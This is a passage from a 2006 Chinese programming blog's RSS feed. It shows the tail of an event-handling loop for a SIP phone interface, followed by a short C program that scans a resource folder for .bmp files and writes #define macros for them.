if(g_Hwnd[HWND_MAINSCREEN]!=0)<br />    {<br />     UpdateWindow(g_Hwnd[HWND_MAINSCREEN],1);<br />    // SetFocusChild(g_Hwnd[HWND_MAINSCREEN]);<br />    // ShowWindow(g_Hwnd[HWND_MAINSCREEN], SW_SHOW);<br />    }<br />   }<br />   break;<br />  case event_remote_ignore:<br />   {<br />    if(g_Hwnd[HWND_CALLOUT]!=0)<br />    SendMessage(g_Hwnd[HWND_CALLOUT],MSG_KEYDOWN,KEY_SW_RSK,0); <br />   }<br />   break;<br />  case event_set_pstn_ring:<br />   {<br />    SetPstnRing((int)msg.lp);<br />   }<br />   break;<br />  case event_set_sip_ring:<br />   {<br />    SetSipRing((int)msg.lp);<br />   }<br />   break;<br />  case event_set_ring_volume:<br />   {<br />    SetRingVolume((int)msg.lp);<br />   }<br />   break;<br />  }</p>
		<p> }<br /> #endif<br />}<br /><br /><font color="#ff0000">附（创建线程）：</font>if (pthread_create(&amp;g_incomingthread, NULL, skype_thread_start, NULL))<br />  return -1;</p>
<img src ="http://www.cppblog.com/zjj2816/aggbug/9058.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/zjj2816/" target="_blank">井泉</a> 2006-06-27 09:23 <a href="http://www.cppblog.com/zjj2816/archive/2006/06/27/9058.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>遍历文件目录--生成define</title><link>http://www.cppblog.com/zjj2816/archive/2006/06/26/9030.html</link><dc:creator>井泉</dc:creator><author>井泉</author><pubDate>Mon, 26 Jun 2006 11:18:00 GMT</pubDate><guid>http://www.cppblog.com/zjj2816/archive/2006/06/26/9030.html</guid><wfw:comment>http://www.cppblog.com/zjj2816/comments/9030.html</wfw:comment><comments>http://www.cppblog.com/zjj2816/archive/2006/06/26/9030.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/zjj2816/comments/commentRss/9030.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/zjj2816/services/trackbacks/9030.html</trackback:ping><description><![CDATA[
		<p>#include &lt;sys/types.h&gt;<br />#include &lt;ctype.h&gt;<br />#include &lt;errno.h&gt;<br />#include &lt;stdio.h&gt;<br />#include &lt;dirent.h&gt;<br />#include &lt;fcntl.h&gt;<br />#include &lt;stdlib.h&gt;<br />#include &lt;unistd.h&gt;<br />#include &lt;string.h&gt;</p>
		<p>static void strtoupper(char *p)<br />{<br /> int i;<br /> int j=strlen(p);<br /> for(i=0;i&lt;j;i++)<br />  {<br /> *p=toupper(*p);<br /> p++;<br /> }<br />};<br />int main( void )<br />{<br /> <br /> <br /> int fd;<br /> DIR * dir;<br /> struct dirent * ent;<br /> <br /> char *p1;<br /> char *p2;<br /> char temp[255];<br /> char lower[50];<br /> memset(temp,0,sizeof(temp));<br /> memset(lower,0,sizeof(lower));<br /> <br /> <br /> if(!(dir=opendir("/opt/sip_ui/res/."))){ <font color="#ff0000">//目录</font><br /> perror("opendir");<br /> return;<br /> }<br /> errno=0;<br />  </p>
		<p> if((fd=open("hw",O_TRUNC|O_CREAT|O_WRONLY,0644))&lt;0){<br /> perror("open");<br /> exit(1); <br /> }<br /> <br /> while((ent=readdir(dir))){<br />  <br /> if(strstr(ent-&gt;d_name,".bmp")){ <font color="#ff0000">//后缀名<br /></font> p1=strtok(ent-&gt;d_name,".");<br /> p2=strtok(NULL,".");<br /> memcpy(lower,p1,strlen(p1));<br /> lower[strlen(p1)]='\0';<br /> strtoupper(p1);<br /> strtoupper(p2);<br /> <br />  strcat(p1,"_PIC");<br /> //strcat(p1,p2);<br /> <br /> sprintf(temp,"#define %s \"res\" PATH_SEP \"%s.\" RESFILE_EXT\n",p1,lower);<br /> <br />       <br />      </p>
		<p> if(write(fd,temp,strlen(temp)) &lt; 0){<br /> perror("write");<br /> exit(1);<br /> }<br /> }<br /> errno=0;<br /> }<br /> if(errno)<br /> {<br /> perror("readdir");<br /> return ;<br /> }<br /> <br /> close(fd);<br /> closedir(dir);<br /> return 1;<br />}<br /></p>
<img src ="http://www.cppblog.com/zjj2816/aggbug/9030.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/zjj2816/" target="_blank">井泉</a> 2006-06-26 19:18 <a href="http://www.cppblog.com/zjj2816/archive/2006/06/26/9030.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>